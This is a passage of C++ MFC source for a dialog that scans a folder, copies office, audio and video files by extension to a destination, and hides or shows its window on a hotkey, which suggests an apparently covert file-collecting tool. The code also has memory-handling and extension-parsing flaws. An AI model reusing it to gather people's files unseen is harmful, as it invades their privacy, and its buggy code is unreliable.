0 == ::lstrcmpi(strFormat, "pptx"))
{
::CopyFile(strTempSrc, strTempDest, true);
}
}
// xls类
if(1 == iState[5])
{
if(0 == ::lstrcmpi(strFormat, "xls") ||
0 == ::lstrcmpi(strFormat, "xlsx"))
{
::CopyFile(strTempSrc, strTempDest, true);
}
}
// mp3类
if(1 == iState[6])
{
if(0 == ::lstrcmpi(strFormat, "mp3") ||
0 == ::lstrcmpi(strFormat, "wav"))
{
::CopyFile(strTempSrc, strTempDest, true);
}
}
// mp4类
if(1 == iState[7])
{
if(0 == ::lstrcmpi(strFormat, "mp4") ||
0 == ::lstrcmpi(strFormat, "avi") ||
0 == ::lstrcmpi(strFormat, "rmvb") ||
0 == ::lstrcmpi(strFormat, "mkv"))
{
::CopyFile(strTempSrc, strTempDest, true);
}
}
delete strFormat;
strFormat = NULL;
}
delete strTempSrc;
delete strTempDest;
strTempSrc = NULL;
strTempDest = NULL;
}while(::FindNextFile(hHandle, &FileData));
}
::FindClose(hHandle);
delete strFileName;
strFileName = NULL;
}
void CProtectionOfDemonDlg::GetFormat(char *strSrc, char *strDest)
{
int len = strlen(strSrc);
bool bFlag = false;
int j = 0;
for(int i = 0; i < len; i++)
{
if(bFlag)
{
strDest[j++] = strSrc[i];
}
if('.' == strSrc[i])
{
bFlag = true;
}
}
strDest[j] = '\0';
}
LRESULT CProtectionOfDemonDlg::OnHotKey(WPARAM wParam,LPARAM lParam)
{
//wParam是注册热键的IDlParam是关于按键的信息
if(1000 == wParam)
{
if(m_bHidden) // 隐藏
{
::MoveWindow(m_hWnd, 0, 0, m_rcOldRect.right-m_rcOldRect.left,
m_rcOldRect.bottom-m_rcOldRect.top, FALSE);
::ShowWindow(m_hWnd, SW_HIDE);
m_bHidden = FALSE;
}
else // 显示
{
::MoveWindow(m_hWnd, 0, 0, m_rcOldRect.right-m_rcOldRect.left,
m_rcOldRect.bottom-m_rcOldRect.top, FALSE);
::ShowWindow(m_hWnd, SW_SHOW);
m_bHidden = TRUE;
}
}
return 0;
}